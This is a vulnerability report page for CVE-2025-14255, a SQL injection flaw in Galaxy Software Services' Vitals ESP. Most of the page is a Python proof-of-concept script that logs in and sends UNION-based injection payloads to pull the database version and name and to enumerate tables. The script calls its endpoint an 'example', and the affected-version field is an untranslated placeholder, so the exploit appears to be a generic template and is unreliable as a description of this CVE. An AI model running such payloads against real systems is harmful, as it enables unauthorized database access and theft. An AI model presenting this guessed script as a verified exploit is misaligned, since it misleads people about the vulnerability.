Security Vulnerability Report
中文
CVE-2025-14255 CVSS 6.5 MEDIUM

CVE-2025-14255

Published: 2025-12-08 08:15:53
Last Modified: 2026-01-15 01:41:53

Description

Vitals ESP developed by Galaxy Software Services has a SQL Injection vulnerability, allowing authenticated remote attackers to inject arbitrary SQL commands to read database contents.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:gss:vitalsesp:*:*:*:*:*:*:*:* - VULNERABLE
Vitals ESP (Galaxy Software Services) < 修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14255 Vitals ESP SQL Injection PoC # Authentication required (low privilege) # Target: Vitals ESP by Galaxy Software Services import requests import sys def sql_injection_poc(target_url, username, password): """ SQL Injection PoC for CVE-2025-14255 This demonstrates extracting database version and current database name. """ # Step 1: Authenticate with low privilege account login_url = f"{target_url}/login" session = requests.Session() login_data = { 'username': username, 'password': password } response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Identify vulnerable endpoint (example: search or filter parameter) vuln_url = f"{target_url}/api/v1/search" # Step 3: Extract database version using UNION-based SQL injection payload = "' UNION SELECT NULL,@@version,NULL--" params = {'q': payload} response = session.get(vuln_url, params=params) if '5.7' in response.text or '8.0' in response.text: print("[+] SQL Injection confirmed - Database version extracted") print(f"[+] Response contains database info: {response.text[:200]}") # Step 4: Extract database name payload_db = "' UNION SELECT NULL,database(),NULL--" params_db = {'q': payload_db} response_db = session.get(vuln_url, params=params_db) if response_db.status_code == 200: print("[+] Database name extraction successful") # Step 5: Extract tables from information_schema payload_tables = "' UNION SELECT NULL,group_concat(table_name),NULL FROM information_schema.tables WHERE table_schema=database()--" params_tables = {'q': payload_tables} response_tables = session.get(vuln_url, params=params_tables) print("[+] Enumerating database tables...") return True if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print("Example: python exploit.py http://vitals-esp.local admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] sql_injection_poc(target, user, pwd)

References

Raw JSON Data

JSON
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